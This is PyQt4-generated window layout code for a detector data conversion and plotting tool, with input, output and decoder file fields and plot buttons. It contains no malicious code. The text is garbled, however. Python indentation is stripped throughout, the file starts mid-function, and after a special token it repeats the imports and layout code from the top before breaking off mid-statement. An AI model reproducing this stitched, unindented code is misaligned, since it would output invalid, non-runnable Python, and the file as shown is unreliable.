sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.
QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(MainWindow.sizePolicy().
hasHeightForWidth())
MainWindow.setSizePolicy(sizePolicy)
MainWindow.setMinimumSize(QtCore.QSize(100, 100))
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
MainWindow.setFont(font)
MainWindow.setAutoFillBackground(False)
MainWindow.setTabShape(QtGui.QTabWidget.Rounded)
self.centralwidget = QtGui.QWidget(MainWindow)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.centralwidget.sizePolicy().
hasHeightForWidth())
self.centralwidget.setSizePolicy(sizePolicy)
self.centralwidget.setMinimumSize(QtCore.QSize(100, 100))
self.centralwidget.setMaximumSize(QtCore.QSize(1000, 1000))
self.centralwidget.setObjectName(_fromUtf8('centralwidget'))
self.verticalLayout = QtGui.QVBoxLayout(self.centralwidget)
self.verticalLayout.setObjectName(_fromUtf8('verticalLayout'))
self.groupBox_3 = QtGui.QGroupBox(self.centralwidget)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.
QSizePolicy.Expanding)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.groupBox_3.sizePolicy().
hasHeightForWidth())
self.groupBox_3.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setBold(False)
font.setItalic(False)
font.setWeight(50)
self.groupBox_3.setFont(font)
self.groupBox_3.setLayoutDirection(QtCore.Qt.LeftToRight)
self.groupBox_3.setAutoFillBackground(True)
self.groupBox_3.setAlignment(QtCore.Qt.AlignLeading | QtCore.Qt.
AlignLeft | QtCore.Qt.AlignVCenter)
self.groupBox_3.setObjectName(_fromUtf8('groupBox_3'))
self.gridLayout = QtGui.QGridLayout(self.groupBox_3)
self.gridLayout.setSizeConstraint(QtGui.QLayout.SetNoConstraint)
self.gridLayout.setObjectName(_fromUtf8('gridLayout'))
self.MainVertLayout = QtGui.QVBoxLayout()
self.MainVertLayout.setSizeConstraint(QtGui.QLayout.SetMaximumSize)
self.MainVertLayout.setContentsMargins(-1, 10, -1, -1)
self.MainVertLayout.setSpacing(0)
self.MainVertLayout.setObjectName(_fromUtf8('MainVertLayout'))
self.gridLayout.addLayout(self.MainVertLayout, 0, 0, 1, 1)
self.verticalLayout.addWidget(self.groupBox_3)
self.groupBox = QtGui.QGroupBox(self.centralwidget)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.groupBox.sizePolicy().
hasHeightForWidth())
self.groupBox.setSizePolicy(sizePolicy)
self.groupBox.setMinimumSize(QtCore.QSize(100, 200))
font = QtGui.QFont()
font.setBold(False)
font.setItalic(False)
font.setWeight(50)
self.groupBox.setFont(font)
self.groupBox.setWhatsThis(_fromUtf8(''))
self.groupBox.setObjectName(_fromUtf8('groupBox'))
self.horizontalLayoutWidget_6 = QtGui.QWidget(self.groupBox)
self.horizontalLayoutWidget_6.setGeometry(QtCore.QRect(17, 101, 594,
32))
self.horizontalLayoutWidget_6.setObjectName(_fromUtf8(
'horizontalLayoutWidget_6'))
self.horizontalLayout_9 = QtGui.QHBoxLayout(self.
horizontalLayoutWidget_6)
self.horizontalLayout_9.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_9.setObjectName(_fromUtf8('horizontalLayout_9'))
self.label_7 = QtGui.QLabel(self.horizontalLayoutWidget_6)
self.label_7.setMinimumSize(QtCore.QSize(0, 30))
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
self.label_7.setFont(font)
self.label_7.setObjectName(_fromUtf8('label_7'))
self.horizontalLayout_9.addWidget(self.label_7)
self.browserButton_7 = QtGui.QPushButton(self.horizontalLayoutWidget_6)
self.browserButton_7.setEnabled(True)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.browserButton_7.sizePolicy().
hasHeightForWidth())
self.browserButton_7.setSizePolicy(sizePolicy)
self.browserButton_7.setMinimumSize(QtCore.QSize(80, 15))
self.browserButton_7.setObjectName(_fromUtf8('browserButton_7'))
self.horizontalLayout_9.addWidget(self.browserButton_7)
self.filePathEdit_7 = QtGui.QLineEdit(self.horizontalLayoutWidget_6)
self.filePathEdit_7.setEnabled(True)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.filePathEdit_7.sizePolicy().
hasHeightForWidth())
self.filePathEdit_7.setSizePolicy(sizePolicy)
self.filePathEdit_7.setMinimumSize(QtCore.QSize(400, 30))
self.filePathEdit_7.setObjectName(_fromUtf8('filePathEdit_7'))
self.horizontalLayout_9.addWidget(self.filePathEdit_7)
self.horizontalLayoutWidget_9 = QtGui.QWidget(self.groupBox)
self.horizontalLayoutWidget_9.setGeometry(QtCore.QRect(17, 25, 592, 32)
)
self.horizontalLayoutWidget_9.setObjectName(_fromUtf8(
'horizontalLayoutWidget_9'))
self.horizontalLayout_10 = QtGui.QHBoxLayout(self.
horizontalLayoutWidget_9)
self.horizontalLayout_10.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_10.setObjectName(_fromUtf8('horizontalLayout_10')
)
self.label_11 = QtGui.QLabel(self.horizontalLayoutWidget_9)
self.label_11.setMinimumSize(QtCore.QSize(0, 30))
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
self.label_11.setFont(font)
self.label_11.setObjectName(_fromUtf8('label_11'))
self.horizontalLayout_10.addWidget(self.label_11)
self.browserButton = QtGui.QPushButton(self.horizontalLayoutWidget_9)
self.browserButton.setEnabled(True)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.browserButton.sizePolicy().
hasHeightForWidth())
self.browserButton.setSizePolicy(sizePolicy)
self.browserButton.setMinimumSize(QtCore.QSize(80, 15))
self.browserButton.setObjectName(_fromUtf8('browserButton'))
self.horizontalLayout_10.addWidget(self.browserButton)
self.filePathEdit_3 = QtGui.QLineEdit(self.horizontalLayoutWidget_9)
self.filePathEdit_3.setEnabled(True)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Expanding)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.filePathEdit_3.sizePolicy().
hasHeightForWidth())
self.filePathEdit_3.setSizePolicy(sizePolicy)
self.filePathEdit_3.setMinimumSize(QtCore.QSize(400, 30))
self.filePathEdit_3.setObjectName(_fromUtf8('filePathEdit_3'))
self.horizontalLayout_10.addWidget(self.filePathEdit_3)
self.horizontalLayoutWidget_10 = QtGui.QWidget(self.groupBox)
self.horizontalLayoutWidget_10.setGeometry(QtCore.QRect(17, 63, 592,
32))
self.horizontalLayoutWidget_10.setObjectName(_fromUtf8(
'horizontalLayoutWidget_10'))
self.horizontalLayout_11 = QtGui.QHBoxLayout(self.
horizontalLayoutWidget_10)
self.horizontalLayout_11.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_11.setObjectName(_fromUtf8('horizontalLayout_11')
)
self.label_12 = QtGui.QLabel(self.horizontalLayoutWidget_10)
self.label_12.setMinimumSize(QtCore.QSize(0, 30))
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
self.label_12.setFont(font)
self.label_12.setObjectName(_fromUtf8('label_12'))
self.horizontalLayout_11.addWidget(self.label_12)
self.browserButton_3 = QtGui.QPushButton(self.horizontalLayoutWidget_10
)
self.browserButton_3.setEnabled(True)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.browserButton_3.sizePolicy().
hasHeightForWidth())
self.browserButton_3.setSizePolicy(sizePolicy)
self.browserButton_3.setMinimumSize(QtCore.QSize(80, 15))
self.browserButton_3.setObjectName(_fromUtf8('browserButton_3'))
self.horizontalLayout_11.addWidget(self.browserButton_3)
self.filePathEdit_5 = QtGui.QLineEdit(self.horizontalLayoutWidget_10)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.filePathEdit_5.sizePolicy().
hasHeightForWidth())
self.filePathEdit_5.setSizePolicy(sizePolicy)
self.filePathEdit_5.setMinimumSize(QtCore.QSize(400, 30))
self.filePathEdit_5.setObjectName(_fromUtf8('filePathEdit_5'))
self.horizontalLayout_11.addWidget(self.filePathEdit_5)
self.runButton = QtGui.QPushButton(self.groupBox)
self.runButton.setGeometry(QtCore.QRect(520, 140, 85, 50))
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.runButton.sizePolicy().
hasHeightForWidth())
self.runButton.setSizePolicy(sizePolicy)
self.runButton.setMinimumSize(QtCore.QSize(80, 50))
self.runButton.setIconSize(QtCore.QSize(24, 24))
self.runButton.setObjectName(_fromUtf8('runButton'))
self.verticalLayout.addWidget(self.groupBox)
self.groupBox_2 = QtGui.QGroupBox(self.centralwidget)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.groupBox_2.sizePolicy().
hasHeightForWidth())
self.groupBox_2.setSizePolicy(sizePolicy)
self.groupBox_2.setMinimumSize(QtCore.QSize(100, 225))
font = QtGui.QFont()
font.setBold(False)
font.setItalic(False)
font.setWeight(50)
self.groupBox_2.setFont(font)
self.groupBox_2.setAutoFillBackground(True)
self.groupBox_2.setObjectName(_fromUtf8('groupBox_2'))
self.horizontalLayoutWidget_4 = QtGui.QWidget(self.groupBox_2)
self.horizontalLayoutWidget_4.setGeometry(QtCore.QRect(17, 25, 591, 32)
)
self.horizontalLayoutWidget_4.setObjectName(_fromUtf8(
'horizontalLayoutWidget_4'))
self.horizontalLayout_6 = QtGui.QHBoxLayout(self.
horizontalLayoutWidget_4)
self.horizontalLayout_6.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_6.setObjectName(_fromUtf8('horizontalLayout_6'))
self.label_3 = QtGui.QLabel(self.horizontalLayoutWidget_4)
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
self.label_3.setFont(font)
self.label_3.setObjectName(_fromUtf8('label_3'))
self.horizontalLayout_6.addWidget(self.label_3)
self.browserButton_4 = QtGui.QPushButton(self.horizontalLayoutWidget_4)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.browserButton_4.sizePolicy().
hasHeightForWidth())
self.browserButton_4.setSizePolicy(sizePolicy)
self.browserButton_4.setObjectName(_fromUtf8('browserButton_4'))
self.horizontalLayout_6.addWidget(self.browserButton_4)
self.loadButton = QtGui.QPushButton(self.horizontalLayoutWidget_4)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.loadButton.sizePolicy().
hasHeightForWidth())
self.loadButton.setSizePolicy(sizePolicy)
self.loadButton.setObjectName(_fromUtf8('loadButton'))
self.horizontalLayout_6.addWidget(self.loadButton)
self.filePathEdit_4 = QtGui.QLineEdit(self.horizontalLayoutWidget_4)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.filePathEdit_4.sizePolicy().
hasHeightForWidth())
self.filePathEdit_4.setSizePolicy(sizePolicy)
self.filePathEdit_4.setMinimumSize(QtCore.QSize(300, 30))
self.filePathEdit_4.setObjectName(_fromUtf8('filePathEdit_4'))
self.horizontalLayout_6.addWidget(self.filePathEdit_4)
self.horizontalLayoutWidget_2 = QtGui.QWidget(self.groupBox_2)
self.horizontalLayoutWidget_2.setGeometry(QtCore.QRect(17, 63, 481, 29)
)
self.horizontalLayoutWidget_2.setObjectName(_fromUtf8(
'horizontalLayoutWidget_2'))
self.horizontalLayout_2 = QtGui.QHBoxLayout(self.
horizontalLayoutWidget_2)
self.horizontalLayout_2.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_2.setObjectName(_fromUtf8('horizontalLayout_2'))
self.label_4 = QtGui.QLabel(self.horizontalLayoutWidget_2)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.label_4.sizePolicy().
hasHeightForWidth())
self.label_4.setSizePolicy(sizePolicy)
self.label_4.setObjectName(_fromUtf8('label_4'))
self.horizontalLayout_2.addWidget(self.label_4)
self.comboBox = QtGui.QComboBox(self.horizontalLayoutWidget_2)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.comboBox.sizePolicy().
hasHeightForWidth())
self.comboBox.setSizePolicy(sizePolicy)
self.comboBox.setObjectName(_fromUtf8('comboBox'))
self.horizontalLayout_2.addWidget(self.comboBox)
self.plotButton = QtGui.QPushButton(self.horizontalLayoutWidget_2)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.plotButton.sizePolicy().
hasHeightForWidth())
self.plotButton.setSizePolicy(sizePolicy)
self.plotButton.setObjectName(_fromUtf8('plotButton'))
self.horizontalLayout_2.addWidget(self.plotButton)
self.horizontalLayoutWidget_3 = QtGui.QWidget(self.groupBox_2)
self.horizontalLayoutWidget_3.setGeometry(QtCore.QRect(17, 100, 481,
29))
self.horizontalLayoutWidget_3.setObjectName(_fromUtf8(
'horizontalLayoutWidget_3'))
self.horizontalLayout_3 = QtGui.QHBoxLayout(self.
horizontalLayoutWidget_3)
self.horizontalLayout_3.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_3.setObjectName(_fromUtf8('horizontalLayout_3'))
self.label_5 = QtGui.QLabel(self.horizontalLayoutWidget_3)
self.label_5.setObjectName(_fromUtf8('label_5'))
self.horizontalLayout_3.addWidget(self.label_5)
self.comboBox_R1 = QtGui.QComboBox(self.horizontalLayoutWidget_3)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.comboBox_R1.sizePolicy().
hasHeightForWidth())
self.comboBox_R1.setSizePolicy(sizePolicy)
self.comboBox_R1.setMinimumSize(QtCore.QSize(0, 0))
self.comboBox_R1.setObjectName(_fromUtf8('comboBox_R1'))
self.horizontalLayout_3.addWidget(self.comboBox_R1)
self.label = QtGui.QLabel(self.horizontalLayoutWidget_3)
self.label.setEnabled(False)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.label.sizePolicy().
hasHeightForWidth())
self.label.setSizePolicy(sizePolicy)
self.label.setMinimumSize(QtCore.QSize(30, 0))
self.label.setMaximumSize(QtCore.QSize(30, 29))
font = QtGui.QFont()
font.setBold(True)
font.setItalic(True)
font.setUnderline(False)
font.setWeight(75)
self.label.setFont(font)
self.label.setAutoFillBackground(True)
self.label.setLineWidth(5)
self.label.setAlignment(QtCore.Qt.AlignCenter)
self.label.setObjectName(_fromUtf8('label'))
self.horizontalLayout_3.addWidget(self.label)
self.comboBox_R2 = QtGui.QComboBox(self.horizontalLayoutWidget_3)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Minimum, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.comboBox_R2.sizePolicy().
hasHeightForWidth())
self.comboBox_R2.setSizePolicy(sizePolicy)
self.comboBox_R2.setObjectName(_fromUtf8('comboBox_R2'))
self.horizontalLayout_3.addWidget(self.comboBox_R2)
self.plotRangeButton = QtGui.QPushButton(self.horizontalLayoutWidget_3)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.plotRangeButton.sizePolicy().
hasHeightForWidth())
self.plotRangeButton.setSizePolicy(sizePolicy)
self.plotRangeButton.setObjectName(_fromUtf8('plotRangeButton'))
self.horizontalLayout_3.addWidget(self.plotRangeButton)
self.horizontalLayoutWidget_7 = QtGui.QWidget(self.groupBox_2)
self.horizontalLayoutWidget_7.setGeometry(QtCore.QRect(17, 140, 481,
29))
self.horizontalLayoutWidget_7.setObjectName(_fromUtf8(
'horizontalLayoutWidget_7'))
self.horizontalLayout_5 = QtGui.QHBoxLayout(self.
horizontalLayoutWidget_7)
self.horizontalLayout_5.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout_5.setObjectName(_fromUtf8('horizontalLayout_5'))
self.label_8 = QtGui.QLabel(self.horizontalLayoutWidget_7)
self.label_8.setObjectName(_fromUtf8('label_8'))
self.horizontalLayout_5.addWidget(self.label_8)
self.comboBox_2 = QtGui.QComboBox(self.horizontalLayoutWidget_7)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.comboBox_2.sizePolicy().
hasHeightForWidth())
self.comboBox_2.setSizePolicy(sizePolicy)
self.comboBox_2.setObjectName(_fromUtf8('comboBox_2'))
self.horizontalLayout_5.addWidget(self.comboBox_2)
self.checkBox = QtGui.QCheckBox(self.horizontalLayoutWidget_7)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.checkBox.sizePolicy().
hasHeightForWidth())
self.checkBox.setSizePolicy(sizePolicy)
self.checkBox.setObjectName(_fromUtf8('checkBox'))
self.horizontalLayout_5.addWidget(self.checkBox)
self.plotImageButton = QtGui.QPushButton(self.horizontalLayoutWidget_7)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.plotImageButton.sizePolicy().
hasHeightForWidth())
self.plotImageButton.setSizePolicy(sizePolicy)
self.plotImageButton.setMinimumSize(QtCore.QSize(80, 15))
self.plotImageButton.setObjectName(_fromUtf8('plotImageButton'))
self.horizontalLayout_5.addWidget(self.plotImageButton)
self.clearPlotButton = QtGui.QPushButton(self.groupBox_2)
self.clearPlotButton.setGeometry(QtCore.QRect(520, 140, 85, 50))
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.clearPlotButton.sizePolicy().
hasHeightForWidth())
self.clearPlotButton.setSizePolicy(sizePolicy)
self.clearPlotButton.setMinimumSize(QtCore.QSize(80, 50))
self.clearPlotButton.setObjectName(_fromUtf8('clearPlotButton'))
self.horizontalLayoutWidget = QtGui.QWidget(self.groupBox_2)
self.horizontalLayoutWidget.setGeometry(QtCore.QRect(17, 180, 481, 29))
self.horizontalLayoutWidget.setObjectName(_fromUtf8(
'horizontalLayoutWidget'))
self.horizontalLayout = QtGui.QHBoxLayout(self.horizontalLayoutWidget)
self.horizontalLayout.setSizeConstraint(QtGui.QLayout.SetFixedSize)
self.horizontalLayout.setObjectName(_fromUtf8('horizontalLayout'))
self.label_9 = QtGui.QLabel(self.horizontalLayoutWidget)
self.label_9.setObjectName(_fromUtf8('label_9'))
self.horizontalLayout.addWidget(self.label_9)
self.pushButton = QtGui.QPushButton(self.horizontalLayoutWidget)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.pushButton.sizePolicy().
hasHeightForWidth())
self.pushButton.setSizePolicy(sizePolicy)
self.pushButton.setMinimumSize(QtCore.QSize(80, 15))
self.pushButton.setObjectName(_fromUtf8('pushButton'))
self.horizontalLayout.addWidget(self.pushButton)
self.plotStripsButton = QtGui.QPushButton(self.horizontalLayoutWidget)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.plotStripsButton.sizePolicy().
hasHeightForWidth())
self.plotStripsButton.setSizePolicy(sizePolicy)
self.plotStripsButton.setMinimumSize(QtCore.QSize(80, 15))
self.plotStripsButton.setObjectName(_fromUtf8('plotStripsButton'))
self.horizontalLayout.addWidget(self.plotStripsButton)
self.verticalLayout.addWidget(self.groupBox_2)
MainWindow.setCentralWidget(self.centralwidget)
self.statusbar = QtGui.QStatusBar(MainWindow)
self.statusbar.setObjectName(_fromUtf8('statusbar'))
MainWindow.setStatusBar(self.statusbar)
self.toolBar = QtGui.QToolBar(MainWindow)
self.toolBar.setObjectName(_fromUtf8('toolBar'))
MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.toolBar)
self.menuBar = QtGui.QMenuBar(MainWindow)
self.menuBar.setGeometry(QtCore.QRect(0, 0, 661, 22))
self.menuBar.setObjectName(_fromUtf8('menuBar'))
MainWindow.setMenuBar(self.menuBar)
self.actionOpen = QtGui.QAction(MainWindow)
self.actionOpen.setVisible(True)
self.actionOpen.setObjectName(_fromUtf8('actionOpen'))
self.actionQuit = QtGui.QAction(MainWindow)
self.actionQuit.setObjectName(_fromUtf8('actionQuit'))
self.retranslateUi(MainWindow)
QtCore.QMetaObject.connectSlotsByName(MainWindow)
def retranslateUi(self, MainWindow):
MainWindow.setWindowTitle(_translate('MainWindow', 'MainWindow', None))
self.groupBox_3.setTitle(_translate('MainWindow', 'PLOT WINDOW', None))
self.groupBox.setTitle(_translate('MainWindow',
' BINARY DATA CONVERSION', None))
self.label_7.setText(_translate('MainWindow', ' OUTPUT FILE ', None))
self.browserButton_7.setText(_translate('MainWindow', 'Browse', None))
self.filePathEdit_7.setText(_translate('MainWindow',
'D:\\detdev\\maia\\python\\', None))
self.label_11.setText(_translate('MainWindow', ' DECODER FILE', None))
self.browserButton.setText(_translate('MainWindow', 'Browse', None))
self.filePathEdit_3.setText(_translate('MainWindow',
'D:\\detdev\\maia\\python\\qtGSD\\gsd_parse.out', None))
self.label_12.setText(_translate('MainWindow', ' INPUT FILE ',
None))
self.browserButton_3.setText(_translate('MainWindow', 'Browse', None))
self.filePathEdit_5.setText(_translate('MainWindow',
'D:\\detdev\\maia\\python\\', None))
self.runButton.setText(_translate('MainWindow', 'Run', None))
self.groupBox_2.setTitle(_translate('MainWindow', ' PLOT DATA', None))
self.label_3.setText(_translate('MainWindow', ' DATA FILE ', None))
self.browserButton_4.setText(_translate('MainWindow', 'Browse', None))
self.loadButton.setText(_translate('MainWindow', 'Load', None))
self.filePathEdit_4.setText(_translate('MainWindow',
'D:\\detdev\\maia\\python\\', None))
self.label_4.setText(_translate('MainWindow', ' PLOT STRIP ', None))
self.plotButton.setText(_translate('MainWindow', 'Plot', None))
self.label_5.setText(_translate('MainWindow', ' PLOT SERIES', None))
self.label.setText(_translate('MainWindow', 'to', None))
self.plotRangeButton.setText(_translate('MainWindow', 'Plot', None))
self.label_8.setText(_translate('MainWindow',
' PLOT SPECTRA AS 2-D IMAGE', None))
self.checkBox.setText(_translate('MainWindow', 'Log', None))
self.plotImageButton.setText(_translate('MainWindow', 'Plot Image',
None))
self.clearPlotButton.setText(_translate('MainWindow', 'Clear', None))
self.label_9.setText(_translate('MainWindow',
' PLOT TOTAL COUNTS vs STRIP', None))
self.pushButton.setText(_translate('MainWindow', 'Update', None))
self.plotStripsButton.setText(_translate('MainWindow',
'Plot Strips', None))
self.toolBar.setWindowTitle(_translate('MainWindow', 'toolBar', None))
self.actionOpen.setText(_translate('MainWindow', 'Open', None))
self.actionQuit.setText(_translate('MainWindow', 'Quit', None))
<|reserved_special_token_1|>
from PyQt4 import QtCore, QtGui
try:
_fromUtf8 = QtCore.QString.fromUtf8
except AttributeError:
def _fromUtf8(s):
return s
try:
_encoding = QtGui.QApplication.UnicodeUTF8
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig, _encoding)
except AttributeError:
def _translate(context, text, disambig):
return QtGui.QApplication.translate(context, text, disambig)
class Ui_MainWindow(object):
def setupUi(self, MainWindow):
MainWindow.setObjectName(_fromUtf8('MainWindow'))
MainWindow.resize(661, 728)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.
QSizePolicy.Preferred)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(MainWindow.sizePolicy().
hasHeightForWidth())
MainWindow.setSizePolicy(sizePolicy)
MainWindow.setMinimumSize(QtCore.QSize(100, 100))
font = QtGui.QFont()
font.setBold(False)
font.setWeight(50)
MainWindow.setFont(font)
MainWindow.setAutoFillBackground(False)
MainWindow.setTabShape(QtGui.QTabWidget.Rounded)
self.centralwidget = QtGui.QWidget(MainWindow)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Fixed, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.centralwidget.sizePolicy().
hasHeightForWidth())
self.centralwidget.setSizePolicy(sizePolicy)
self.centralwidget.setMinimumSize(QtCore.QSize(100, 100))
self.centralwidget.setMaximumSize(QtCore.QSize(1000, 1000))
self.centralwidget.setObjectName(_fromUtf8('centralwidget'))
self.verticalLayout = QtGui.QVBoxLayout(self.centralwidget)
self.verticalLayout.setObjectName(_fromUtf8('verticalLayout'))
self.groupBox_3 = QtGui.QGroupBox(self.centralwidget)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.
QSizePolicy.Expanding)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
sizePolicy.setHeightForWidth(self.groupBox_3.sizePolicy().
hasHeightForWidth())
self.groupBox_3.setSizePolicy(sizePolicy)
font = QtGui.QFont()
font.setBold(False)
font.setItalic(False)
font.setWeight(50)
self.groupBox_3.setFont(font)
self.groupBox_3.setLayoutDirection(QtCore.Qt.LeftToRight)
self.groupBox_3.setAutoFillBackground(True)
self.groupBox_3.setAlignment(QtCore.Qt.AlignLeading | QtCore.Qt.
AlignLeft | QtCore.Qt.AlignVCenter)
self.groupBox_3.setObjectName(_fromUtf8('groupBox_3'))
self.gridLayout = QtGui.QGridLayout(self.groupBox_3)
self.gridLayout.setSizeConstraint(QtGui.QLayout.SetNoConstraint)
self.gridLayout.setObjectName(_fromUtf8('gridLayout'))
self.MainVertLayout = QtGui.QVBoxLayout()
self.MainVertLayout.setSizeConstraint(QtGui.QLayout.SetMaximumSize)
self.MainVertLayout.setContentsMargins(-1, 10, -1, -1)
self.MainVertLayout.setSpacing(0)
self.MainVertLayout.setObjectName(_fromUtf8('MainVertLayout'))
self.gridLayout.addLayout(self.MainVertLayout, 0, 0, 1, 1)
self.verticalLayout.addWidget(self.groupBox_3)
self.groupBox = QtGui.QGroupBox(self.centralwidget)
sizePolicy = QtGui.QSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.
QSizePolicy.Fixed)
sizePolicy.setHorizontalStretch(0)
sizePolicy.setVerticalStretch(0)
